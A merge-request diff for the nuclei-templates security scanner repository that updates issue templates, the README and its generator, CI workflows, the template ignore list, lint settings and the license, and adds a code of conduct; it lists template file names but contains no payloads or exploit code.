Merge pull request #1721 from projectdiscovery/template-fixes

Few template updates
2026-11-07 08:36:19 -10:00 · 2021-06-18 15:54:15 +05:30 · 2021-06-18 15:53:49 +05:30 · 2021-06-18 10:19:58 +00:00 · 2021-06-18 15:49:41 +05:30 · 2021-06-18 15:48:53 +05:30
1306 changed files with 140824 additions and 60249 deletions
@@ -1,8 +1,8 @@
 ---
 name: False Positive
 about: 'Create an issue if you found false positive results. '
-title: "[false-positive] "
-labels: ''
+title: "[false-positive] template-name "
+labels: 'false-positive'
 assignees: ''

 ---
@@ -1,14 +1,15 @@
 ---
 name: Submit Template
 about: Submit nuclei template using issue
-title: "[nuclei-template] "
-labels: ''
+title: "[nuclei-template] template-name"
+labels: 'nuclei-template'
 assignees: ''

 ---

 **Template Details**

-```
+```yaml
+
 nuclei template goes here
 ```
@@ -1,55 +1,59 @@
 f"""
-# Nuclei Templates

-[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
-[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
-[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
-[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
-[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+<h1 align="center">
+Nuclei Templates
+</h1>
+<h4 align="center">Community curated list of templates for the nuclei engine to find a security vulnerability in application.</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="#-contributions">Contributions</a> •
+  <a href="#-discussion">Discussion</a> •
+  <a href="#-community">Community</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
+</p>
+
+----

 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.

-# Resources

- [Templates](#nuclei-templates-overview)
- [Documentation](#-documentation)
- [Contributions](#-contributions)
- [Discussion](#-discussion)
- [Community](#-community)
- [Notes](#-notes)
+## Nuclei Templates overview

-### Nuclei templates overview
-----

 An overview of the nuclei template directory including number of templates associated with each directory. 

+<table>
+<tr>
+<td> 

-**Directory structure of nuclei templates:**
-
-| Templates       | Counts                          | Templates        | Counts                         |
-| --------------- | ------------------------------- | ---------------- | ------------------------------ |
-| cves            | {countTpl("cves/*")}            | default-logins   | {countTpl("default-logins/*")} |
-| dns             | {countTpl("dns")}               | exposed-panels   | {countTpl("exposed-panels")}   |
-| exposed-tokens  | {countTpl("exposed-tokens/*")}  | exposures        | {countTpl("exposures/*")}      |
-| fuzzing         | {countTpl("fuzzing")}           | helpers          | {countTpl("helpers/*")}        |
-| miscellaneous   | {countTpl("miscellaneous")}     | misconfiguration | {countTpl("misconfiguration")} |
-| takeovers       | {countTpl("takeovers")}         | technologies     | {countTpl("technologies")}     |
-| vulnerabilities | {countTpl("vulnerabilities/*")} | workflows        | {countTpl("workflows")}        |
-
-
-**Tree structure of nuclei templates:**
-
-<details>
-<summary> Nuclei templates </summary>
-
-```
-{command("tree", 1, -2)}
-```
-
-</details>
+| Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
+| ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
+| cves             | {countTpl("cves/*")}           | vulnerabilities | {countTpl("vulnerabilities/*")} | exposed-panels | {countTpl("exposed-panels")} |
+| takeovers        | {countTpl("takeovers")}        | exposures       | {countTpl("exposures/*")}       | technologies   | {countTpl("technologies")}   |
+| misconfiguration | {countTpl("misconfiguration")} | workflows       | {countTpl("workflows")}         | miscellaneous  | {countTpl("miscellaneous")}  |
+| default-logins   | {countTpl("default-logins/*")} | file            | {countTpl("file/*")}            | dns            | {countTpl("dns")}            |
+| fuzzing          | {countTpl("fuzzing")}          | helpers         | {countTpl("helpers/*")}         | iot            | {countTpl("iot")}            |

 **{command("tree", -2, None)}**.

+</td>
+</tr>
+</table>
+
+
+
+
+
 📖 Documentation
 -----

@@ -1,4 +1,4 @@
-name: syntax-checking
+name: ❄️ YAML Lint

 on: [push, pull_request]

@@ -1,4 +1,4 @@
-name: "Auto Update README"
+name: 📝 Readme Update

 on:
  push:
@@ -11,7 +11,7 @@ on:
 jobs:
  build:
    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
+    if: github.repository == 'projectdiscovery/nuclei-templates' && github.ref == 'refs/heads/master'
    steps:
      - name: Install tree
        run: sudo apt-get install tree -y
@@ -28,16 +28,20 @@ jobs:
          python-version: "3.8"

      - name: Update README
+        id: update-readme
        run: |
          python .github/scripts/update-readme.py
+          echo "::set-output name=changes::$(git status -s | wc -l)"

      - name: Commit files
+        if: steps.update-readme.outputs.changes > 0
        run: |
          git config --local user.email "[email protected]"
          git config --local user.name "GitHub Action"
          git commit -m "Auto Update README [$(date)] :robot:" -a

      - name: Push changes
+        if: steps.update-readme.outputs.changes > 0
        uses: ad-m/github-push-action@master
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
@@ -1,39 +1,18 @@
 # ==| Nuclei Templates Ignore list |==
 # ====================================
 #
-# This list can be used to define template/s that will be blocked from execution.
-# When a folder/directory is listed under this list, the templates within folder can be executed only when running them directly.
-# For example, "nuclei -t fuzzing" will not work, "nuclei -t fuzzing/wp-plugin-scan.yaml" will be executed.
-# 
-# Why ignore list? - To ensure nuclei is not getting used to hammer the every web server with templates that are meant to be used for specific use cases. 
-# and that doesn't mean nuclei won't let you run these templates. if you know what you are doing, feel free to updates this list locally as per your need.
-#
-# This list also can be used to ignore templates that you wanted to exclude from every scan.
-# More details - https://github.com/projectdiscovery/nuclei#using-nuclei-ignore-file-for-template-exclusion
+# This is default list of tags and files to excluded from default nuclei scan.
+# More details - https://nuclei.projectdiscovery.io/nuclei/get-started/#template-exclusion

-.pre-commit-config.yaml
-cves/2013/CVE-2013-2251.yaml
-cves/2017/CVE-2017-7529.yaml	
-cves/2020/CVE-2020-13379.yaml	
-cves/2020/CVE-2020-16139.yaml
+# tags is a list of tags to ignore execution for
+# unless asked for by the user.

-# Fuzzing is excluded to avoid running bruteforce on every server as default.
-fuzzing/
+tags: 
+  - "dos"
+  - "iot"
+  - "misc"
+  - "fuzz"
+  - "revision"

-# Wordlist directory contains payload to be used with templates. 
-helpers/
-miscellaneous/
-
-# Workflows are excluded from default run to avoid duplicate scans.
-workflows/
-
-# Adding older folder to avoid possilbe issue with nuclei ignore execution.
-misc/
-default-credentials/
-files/
-generic-detections/
-panels/
-payloads/
-security-misconfiguration/
-subdomain-takeover/
-tokens/
+# files is a list of files to ignore template execution
+# unless asked for by the user.
@@ -1,9 +1,17 @@
 ---
 extends: default

+ignore: |
+  .pre-commit-config.yaml
+  .github/workflows/*.yml
+
 rules:
  document-start: disable
  line-length: disable
  new-lines: disable
  new-line-at-end-of-file: disable
  truthy: disable
+  comments:
+    require-starting-space: true
+    ignore-shebangs: true
+    min-spaces-from-content: 1
@@ -0,0 +1,76 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as
+contributors and maintainers pledge to making participation in our project and
+our community a harassment-free experience for everyone, regardless of age, body
+size, disability, ethnicity, sex characteristics, gender identity and expression,
+level of experience, education, socio-economic status, nationality, personal
+appearance, race, religion, or sexual identity and orientation.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment
+include:
+
+* Using welcoming and inclusive language
+* Being respectful of differing viewpoints and experiences
+* Gracefully accepting constructive criticism
+* Focusing on what is best for the community
+* Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+* The use of sexualized language or imagery and unwelcome sexual attention or
+ advances
+* Trolling, insulting/derogatory comments, and personal or political attacks
+* Public or private harassment
+* Publishing others' private information, such as a physical or electronic
+ address, without explicit permission
+* Other conduct which could reasonably be considered inappropriate in a
+ professional setting
+
+## Our Responsibilities
+
+Project maintainers are responsible for clarifying the standards of acceptable
+behavior and are expected to take appropriate and fair corrective action in
+response to any instances of unacceptable behavior.
+
+Project maintainers have the right and responsibility to remove, edit, or
+reject comments, commits, code, wiki edits, issues, and other contributions
+that are not aligned to this Code of Conduct, or to ban temporarily or
+permanently any contributor for other behaviors that they deem inappropriate,
+threatening, offensive, or harmful.
+
+## Scope
+
+This Code of Conduct applies both within project spaces and in public spaces
+when an individual is representing the project or its community. Examples of
+representing a project or community include using an official project e-mail
+address, posting via an official social media account, or acting as an appointed
+representative at an online or offline event. Representation of a project may be
+further defined and clarified by project maintainers.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be
+reported by contacting the project team at contact@projectdiscovery.io. All
+complaints will be reviewed and investigated and will result in a response that
+is deemed necessary and appropriate to the circumstances. The project team is
+obligated to maintain confidentiality with regard to the reporter of an incident.
+Further details of specific enforcement policies may be posted separately.
+
+Project maintainers who do not follow or enforce the Code of Conduct in good
+faith may face temporary or permanent repercussions as determined by other
+members of the project's leadership.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
+available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
+
+[homepage]: https://www.contributor-covenant.org
+
+For answers to common questions about this code of conduct, see
+https://www.contributor-covenant.org/faq
@@ -1,6 +1,6 @@
 MIT License

-Copyright (c) 2020 Exposed Atoms.
+Copyright (c) 2020 ProjectDiscovery, Inc.

 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal
@@ -1,580 +1,58 @@

-# Nuclei Templates

-[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
-[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
-[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
-[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
-[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+<h1 align="center">
+Nuclei Templates
+</h1>
+<h4 align="center">Community curated list of templates for the nuclei engine to find a security vulnerability in application.</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="#-contributions">Contributions</a> •
+  <a href="#-discussion">Discussion</a> •
+  <a href="#-community">Community</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
+</p>
+
+----

 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.

-# Resources

- [Templates](#nuclei-templates-overview)
- [Documentation](#-documentation)
- [Contributions](#-contributions)
- [Discussion](#-discussion)
- [Community](#-community)
- [Notes](#-notes)
+## Nuclei Templates overview

-### Nuclei templates overview
-----

 An overview of the nuclei template directory including number of templates associated with each directory. 

+<table>
+<tr>
+<td> 

-**Directory structure of nuclei templates:**
+| Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
+| ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
+| cves             | 346           | vulnerabilities | 184 | exposed-panels | 150 |
+| takeovers        | 67        | exposures       | 107       | technologies   | 105   |
+| misconfiguration | 69 | workflows       | 32         | miscellaneous  | 24  |
+| default-logins   | 31 | file            | 42            | dns            | 10            |
+| fuzzing          | 10          | helpers         | 9         | iot            | 13            |

-| Templates       | Counts                          | Templates        | Counts                         |
-| --------------- | ------------------------------- | ---------------- | ------------------------------ |
-| cves            | 154            | default-logins   | 8 |
-| dns             | 6               | exposed-panels   | 72   |
-| exposed-tokens  | 9  | exposures        | 40      |
-| fuzzing         | 5           | helpers          | 3        |
-| miscellaneous   | 14     | misconfiguration | 37 |
-| takeovers       | 1         | technologies     | 44     |
-| vulnerabilities | 62 | workflows        | 17        |
+**119 directories, 1307 files**.
+
+</td>
+</tr>
+</table>


-**Tree structure of nuclei templates:**

-<details>
-<summary> Nuclei templates </summary>

-```
-├── LICENSE.md
-├── README.md
-├── cves
-│   ├── 2005
-│   │   └── CVE-2005-2428.yaml
-│   ├── 2008
-│   │   └── CVE-2008-2398.yaml
-│   ├── 2013
-│   │   └── CVE-2013-2251.yaml
-│   ├── 2014
-│   │   └── CVE-2014-6271.yaml
-│   ├── 2017
-│   │   ├── CVE-2017-10075.yaml
-│   │   ├── CVE-2017-11444.yaml
-│   │   ├── CVE-2017-12637.yaml
-│   │   ├── CVE-2017-14537.yaml
-│   │   ├── CVE-2017-14849.yaml
-│   │   ├── CVE-2017-5638.yaml
-│   │   ├── CVE-2017-7391.yaml
-│   │   ├── CVE-2017-7615.yaml
-│   │   ├── CVE-2017-9506.yaml
-│   │   └── CVE-2017-9841.yaml
-│   ├── 2018
-│   │   ├── CVE-2018-0296.yaml
-│   │   ├── CVE-2018-1000129.yaml
-│   │   ├── CVE-2018-11409.yaml
-│   │   ├── CVE-2018-11759.yaml
-│   │   ├── CVE-2018-1247.yaml
-│   │   ├── CVE-2018-1271.yaml
-│   │   ├── CVE-2018-1273.yaml
-│   │   ├── CVE-2018-13379.yaml
-│   │   ├── CVE-2018-13380.yaml
-│   │   ├── CVE-2018-14728.yaml
-│   │   ├── CVE-2018-16341.yaml
-│   │   ├── CVE-2018-16763.yaml
-│   │   ├── CVE-2018-17431.yaml
-│   │   ├── CVE-2018-18069.yaml
-│   │   ├── CVE-2018-19386.yaml
-│   │   ├── CVE-2018-19439.yaml
-│   │   ├── CVE-2018-20824.yaml
-│   │   ├── CVE-2018-2791.yaml
-│   │   ├── CVE-2018-3714.yaml
-│   │   ├── CVE-2018-3760.yaml
-│   │   ├── CVE-2018-5230.yaml
-│   │   ├── CVE-2018-7251.yaml
-│   │   ├── CVE-2018-7490.yaml
-│   │   └── CVE-2018-8006.yaml
-│   ├── 2019
-│   │   ├── CVE-2019-10092.yaml
-│   │   ├── CVE-2019-1010287.yaml
-│   │   ├── CVE-2019-10475.yaml
-│   │   ├── CVE-2019-11248.yaml
-│   │   ├── CVE-2019-11510.yaml
-│   │   ├── CVE-2019-11580.yaml
-│   │   ├── CVE-2019-11581.yaml
-│   │   ├── CVE-2019-11869.yaml
-│   │   ├── CVE-2019-12314.yaml
-│   │   ├── CVE-2019-12461.yaml
-│   │   ├── CVE-2019-12593.yaml
-│   │   ├── CVE-2019-12725.yaml
-│   │   ├── CVE-2019-14223.yaml
-│   │   ├── CVE-2019-14322.yaml
-│   │   ├── CVE-2019-14696.yaml
-│   │   ├── CVE-2019-14974.yaml
-│   │   ├── CVE-2019-15043.yaml
-│   │   ├── CVE-2019-15107.yaml
-│   │   ├── CVE-2019-15858.yaml
-│   │   ├── CVE-2019-16278.yaml
-│   │   ├── CVE-2019-1653.yaml
-│   │   ├── CVE-2019-16662.yaml
-│   │   ├── CVE-2019-16759-1.yaml
-│   │   ├── CVE-2019-16759.yaml
-│   │   ├── CVE-2019-16920.yaml
-│   │   ├── CVE-2019-17382.yaml
-│   │   ├── CVE-2019-17558.yaml
-│   │   ├── CVE-2019-18394.yaml
-│   │   ├── CVE-2019-19368.yaml
-│   │   ├── CVE-2019-19781.yaml
-│   │   ├── CVE-2019-19908.yaml
-│   │   ├── CVE-2019-19985.yaml
-│   │   ├── CVE-2019-20141.yaml
-│   │   ├── CVE-2019-2588.yaml
-│   │   ├── CVE-2019-2725.yaml
-│   │   ├── CVE-2019-3396.yaml
-│   │   ├── CVE-2019-3402.yaml
-│   │   ├── CVE-2019-3799.yaml
-│   │   ├── CVE-2019-5418.yaml
-│   │   ├── CVE-2019-6112.yaml
-│   │   ├── CVE-2019-6340.yaml
-│   │   ├── CVE-2019-6715.yaml
-│   │   ├── CVE-2019-7219.yaml
-│   │   ├── CVE-2019-7256.yaml
-│   │   ├── CVE-2019-7609.yaml
-│   │   ├── CVE-2019-8442.yaml
-│   │   ├── CVE-2019-8449.yaml
-│   │   ├── CVE-2019-8451.yaml
-│   │   ├── CVE-2019-8903.yaml
-│   │   ├── CVE-2019-8982.yaml
-│   │   ├── CVE-2019-9670.yaml
-│   │   ├── CVE-2019-9733.yaml
-│   │   ├── CVE-2019-9955.yaml
-│   │   └── CVE-2019-9978.yaml
-│   └── 2020
-│       ├── CVE-2020-0618.yaml
-│       ├── CVE-2020-10148.yaml
-│       ├── CVE-2020-10199.yaml
-│       ├── CVE-2020-10204.yaml
-│       ├── CVE-2020-11034.yaml
-│       ├── CVE-2020-1147.yaml
-│       ├── CVE-2020-11738.yaml
-│       ├── CVE-2020-12116.yaml
-│       ├── CVE-2020-12720.yaml
-│       ├── CVE-2020-13167.yaml
-│       ├── CVE-2020-13942.yaml
-│       ├── CVE-2020-14179.yaml
-│       ├── CVE-2020-14181.yaml
-│       ├── CVE-2020-14864.yaml
-│       ├── CVE-2020-14882.yaml
-│       ├── CVE-2020-15129.yaml
-│       ├── CVE-2020-15505.yaml
-│       ├── CVE-2020-15920.yaml
-│       ├── CVE-2020-16846.yaml
-│       ├── CVE-2020-16952.yaml
-│       ├── CVE-2020-17505.yaml
-│       ├── CVE-2020-17506.yaml
-│       ├── CVE-2020-17518.yaml
-│       ├── CVE-2020-17519.yaml
-│       ├── CVE-2020-1943.yaml
-│       ├── CVE-2020-2096.yaml
-│       ├── CVE-2020-2140.yaml
-│       ├── CVE-2020-23972.yaml
-│       ├── CVE-2020-24223.yaml
-│       ├── CVE-2020-24312.yaml
-│       ├── CVE-2020-2551.yaml
-│       ├── CVE-2020-25540.yaml
-│       ├── CVE-2020-26214.yaml
-│       ├── CVE-2020-3187.yaml
-│       ├── CVE-2020-3452.yaml
-│       ├── CVE-2020-4463.yaml
-│       ├── CVE-2020-5284.yaml
-│       ├── CVE-2020-5405.yaml
-│       ├── CVE-2020-5410.yaml
-│       ├── CVE-2020-5412.yaml
-│       ├── CVE-2020-5776.yaml
-│       ├── CVE-2020-5777.yaml
-│       ├── CVE-2020-5902.yaml
-│       ├── CVE-2020-6287.yaml
-│       ├── CVE-2020-7209.yaml
-│       ├── CVE-2020-7318.yaml
-│       ├── CVE-2020-7961.yaml
-│       ├── CVE-2020-8091.yaml
-│       ├── CVE-2020-8115.yaml
-│       ├── CVE-2020-8163.yaml
-│       ├── CVE-2020-8191.yaml
-│       ├── CVE-2020-8193.yaml
-│       ├── CVE-2020-8194.yaml
-│       ├── CVE-2020-8209.yaml
-│       ├── CVE-2020-8512.yaml
-│       ├── CVE-2020-8982.yaml
-│       ├── CVE-2020-9047.yaml
-│       ├── CVE-2020-9344.yaml
-│       ├── CVE-2020-9376.yaml
-│       ├── CVE-2020-9484.yaml
-│       ├── CVE-2020-9496.yaml
-│       └── CVE-2020-9757.yaml
-├── default-logins
-│   ├── activemq
-│   │   └── activemq-default-login.yaml
-│   ├── ambari
-│   │   └── ambari-default-credentials.yaml
-│   ├── apache
-│   │   └── tomcat-manager-default.yaml
-│   ├── grafana
-│   │   └── grafana-default-credential.yaml
-│   ├── ofbiz
-│   │   └── ofbiz-default-credentials.yaml
-│   ├── rabbitmq
-│   │   └── rabbitmq-default-admin.yaml
-│   ├── solarwinds
-│   │   └── solarwinds-default-admin.yaml
-│   └── zabbix
-│       └── zabbix-default-credentials.yaml
-├── dns
-│   ├── azure-takeover-detection.yaml
-│   ├── cname-service-detector.yaml
-│   ├── dead-host-with-cname.yaml
-│   ├── mx-service-detector.yaml
-│   ├── servfail-refused-hosts.yaml
-│   └── spoofable-spf-records-ptr.yaml
-├── exposed-panels
-│   ├── active-admin-exposure.yaml
-│   ├── activemq-panel.yaml
-│   ├── adminer-panel.yaml
-│   ├── aims-password-mgmt-client.yaml
-│   ├── airflow-exposure.yaml
-│   ├── ambari-exposure.yaml
-│   ├── ansible-tower-exposure.yaml
-│   ├── atlassian-crowd-panel.yaml
-│   ├── cisco-asa-panel.yaml
-│   ├── citrix-adc-gateway-detect.yaml
-│   ├── citrix-vpn-detect.yaml
-│   ├── compal-panel.yaml
-│   ├── couchdb-exposure.yaml
-│   ├── couchdb-fauxton.yaml
-│   ├── crxde.yaml
-│   ├── django-admin-panel.yaml
-│   ├── druid-console-exposure.yaml
-│   ├── exposed-pagespeed-global-admin.yaml
-│   ├── exposed-webalizer.yaml
-│   ├── flink-exposure.yaml
-│   ├── fortinet-fortigate-panel.yaml
-│   ├── fortiweb-panel.yaml
-│   ├── github-enterprise-detect.yaml
-│   ├── gitlab-detect.yaml
-│   ├── globalprotect-panel.yaml
-│   ├── go-anywhere-client.yaml
-│   ├── grafana-detect.yaml
-│   ├── hadoop-exposure.yaml
-│   ├── identityguard-selfservice-entrust.yaml
-│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
-│   ├── jira-detect.yaml
-│   ├── jmx-console.yaml
-│   ├── kafka-connect-ui.yaml
-│   ├── kafka-monitoring.yaml
-│   ├── kafka-topics-ui.yaml
-│   ├── kubernetes-dashboard.yaml
-│   ├── manage-engine-admanager-panel.yaml
-│   ├── mobileiron-login.yaml
-│   ├── netscaler-gateway.yaml
-│   ├── network-camera-detect.yaml
-│   ├── oipm-detect.yaml
-│   ├── parallels-html-client.yaml
-│   ├── phpmyadmin-panel.yaml
-│   ├── polycom-admin-detect.yaml
-│   ├── public-tomcat-instance.yaml
-│   ├── pulse-secure-panel.yaml
-│   ├── rabbitmq-dashboard.yaml
-│   ├── rocketmq-console-exposure.yaml
-│   ├── rsa-self-service.yaml
-│   ├── sap-hana-xsengine-panel.yaml
-│   ├── sap-netweaver-detect.yaml
-│   ├── sap-recon-detect.yaml
-│   ├── selenoid-ui-exposure.yaml
-│   ├── setup-page-exposure.yaml
-│   ├── solarwinds-orion.yaml
-│   ├── solr-exposure.yaml
-│   ├── sonarqube-login.yaml
-│   ├── sonicwall-management-panel.yaml
-│   ├── sonicwall-sslvpn-panel.yaml
-│   ├── sophos-fw-version-detect.yaml
-│   ├── supervpn-panel.yaml
-│   ├── tikiwiki-cms.yaml
-│   ├── tomcat-manager-pathnormalization.yaml
-│   ├── traefik-dashboard.yaml
-│   ├── virtual-ema-detect.yaml
-│   ├── weave-scope-dashboard-detect.yaml
-│   ├── webeditors.yaml
-│   ├── webmin-panel.yaml
-│   ├── workspace-one-uem.yaml
-│   ├── workspaceone-uem-airwatch-dashboard-detect.yaml
-│   ├── yarn-manager-exposure.yaml
-│   └── zipkin-exposure.yaml
-├── exposed-tokens
-│   ├── aws
-│   │   ├── amazon-mws-auth-token-value.yaml
-│   │   └── aws-access-key-value.yaml
-│   ├── generic
-│   │   ├── credentials-disclosure.yaml
-│   │   ├── general-tokens.yaml
-│   │   └── http-username-password.yaml
-│   ├── google
-│   │   ├── fcm-server-key.yaml
-│   │   └── google-api-key.yaml
-│   ├── mailchimp
-│   │   └── mailchimp-api-key.yaml
-│   └── slack
-│       └── slack-access-token.yaml
-├── exposures
-│   ├── apis
-│   │   ├── swagger-api.yaml
-│   │   ├── wadl-api.yaml
-│   │   └── wsdl-api.yaml
-│   ├── backups
-│   │   ├── sql-dump.yaml
-│   │   └── zip-backup-files.yaml
-│   ├── configs
-│   │   ├── airflow-configuration-exposure.yaml
-│   │   ├── amazon-docker-config-disclosure.yaml
-│   │   ├── ansible-config-disclosure.yaml
-│   │   ├── composer-config.yaml
-│   │   ├── exposed-svn.yaml
-│   │   ├── git-config-nginxoffbyslash.yaml
-│   │   ├── git-config.yaml
-│   │   ├── htpasswd-detection.yaml
-│   │   ├── laravel-env.yaml
-│   │   ├── magento-config.yaml
-│   │   ├── opcache-status-exposure.yaml
-│   │   ├── owncloud-config.yaml
-│   │   ├── package-json.yaml
-│   │   ├── perl-status.yaml
-│   │   ├── phpinfo.yaml
-│   │   ├── rails-database-config.yaml
-│   │   ├── redmine-db-config.yaml
-│   │   ├── server-status-localhost.yaml
-│   │   ├── syfmony-profiler.yaml
-│   │   ├── symfony-database-config.yaml
-│   │   ├── symfony-profiler.yaml
-│   │   └── web-config.yaml
-│   ├── files
-│   │   ├── domcfg-page.yaml
-│   │   ├── drupal-install.yaml
-│   │   ├── ds_store.yaml
-│   │   ├── exposed-alps-spring.yaml
-│   │   ├── filezilla.yaml
-│   │   ├── lazy-file.yaml
-│   │   ├── server-private-keys.yaml
-│   │   └── xprober-service.yaml
-│   └── logs
-│       ├── elmah-log-file.yaml
-│       ├── error-logs.yaml
-│       ├── rails-debug-mode.yaml
-│       ├── struts-debug-mode.yaml
-│       └── trace-axd-detect.yaml
-├── fuzzing
-│   ├── arbitrary-file-read.yaml
-│   ├── directory-traversal.yaml
-│   ├── generic-lfi-fuzzing.yaml
-│   ├── iis-shortname.yaml
-│   └── wp-plugin-scan.yaml
-├── helpers
-│   ├── payloads
-│   │   ├── CVE-2020-5776.csv
-│   │   └── CVE-2020-6287.xml
-│   └── wordlists
-│       └── wp-plugins.txt
-├── miscellaneous
-│   ├── basic-cors-flash.yaml
-│   ├── dir-listing.yaml
-│   ├── htaccess-config.yaml
-│   ├── missing-csp.yaml
-│   ├── missing-hsts.yaml
-│   ├── missing-x-frame-options.yaml
-│   ├── ntlm-directories.yaml
-│   ├── old-copyright.yaml
-│   ├── robots.txt.yaml
-│   ├── security.txt.yaml
-│   ├── trace-method.yaml
-│   ├── unencrypted-bigip-ltm-cookie.yaml
-│   ├── wp-xmlrpc.yaml
-│   └── xml-schema-detect.yaml
-├── misconfiguration
-│   ├── aem-groovyconsole.yaml
-│   ├── airflow-api-exposure.yaml
-│   ├── apache-tomcat-snoop.yaml
-│   ├── apc-info.yaml
-│   ├── aspx-debug-mode.yaml
-│   ├── aws-redirect.yaml
-│   ├── cgi-test-page.yaml
-│   ├── django-debug-detect.yaml
-│   ├── docker-api.yaml
-│   ├── docker-registry.yaml
-│   ├── druid-monitor.yaml
-│   ├── drupal-user-enum-ajax.yaml
-│   ├── drupal-user-enum-redirect.yaml
-│   ├── elasticsearch.yaml
-│   ├── exposed-kibana.yaml
-│   ├── exposed-service-now.yaml
-│   ├── front-page-misconfig.yaml
-│   ├── hadoop-unauth.yaml
-│   ├── jkstatus-manager.yaml
-│   ├── jupyter-ipython-unauth.yaml
-│   ├── kubernetes-pods.yaml
-│   ├── larvel-debug.yaml
-│   ├── linkerd-ssrf-detect.yaml
-│   ├── manage-engine-ad-search.yaml
-│   ├── php-errors.yaml
-│   ├── put-method-enabled.yaml
-│   ├── rack-mini-profiler.yaml
-│   ├── salesforce-aura-misconfig.yaml
-│   ├── shell-history.yaml
-│   ├── sidekiq-dashboard.yaml
-│   ├── springboot-detect.yaml
-│   ├── symfony-debugmode.yaml
-│   ├── tomcat-scripts.yaml
-│   ├── unauthenticated-airflow.yaml
-│   ├── unauthenticated-nacos-access.yaml
-│   ├── wamp-xdebug-detect.yaml
-│   └── zenphoto-installation-sensitive-info.yaml
-├── takeovers
-│   └── subdomain-takeover.yaml
-├── technologies
-│   ├── apache-detect.yaml
-│   ├── artica-web-proxy-detect.yaml
-│   ├── basic-auth-detection.yaml
-│   ├── bigip-config-utility-detect.yaml
-│   ├── cacti-detect.yaml
-│   ├── clockwork-php-page.yaml
-│   ├── couchdb-detect.yaml
-│   ├── favicon-detection.yaml
-│   ├── firebase-detect.yaml
-│   ├── google-storage.yaml
-│   ├── graphql.yaml
-│   ├── graylog-api-browser.yaml
-│   ├── home-assistant.yaml
-│   ├── jaspersoft-detect.yaml
-│   ├── jolokia.yaml
-│   ├── kibana-detect.yaml
-│   ├── kong-detect.yaml
-│   ├── liferay-portal-detect.yaml
-│   ├── linkerd-badrule-detect.yaml
-│   ├── lotus-domino-version.yaml
-│   ├── magmi-detect.yaml
-│   ├── mrtg-detect.yaml
-│   ├── netsweeper-webadmin-detect.yaml
-│   ├── nifi-detech.yaml
-│   ├── oidc-detect.yaml
-│   ├── pi-hole-detect.yaml
-│   ├── prometheus-exporter-detect.yaml
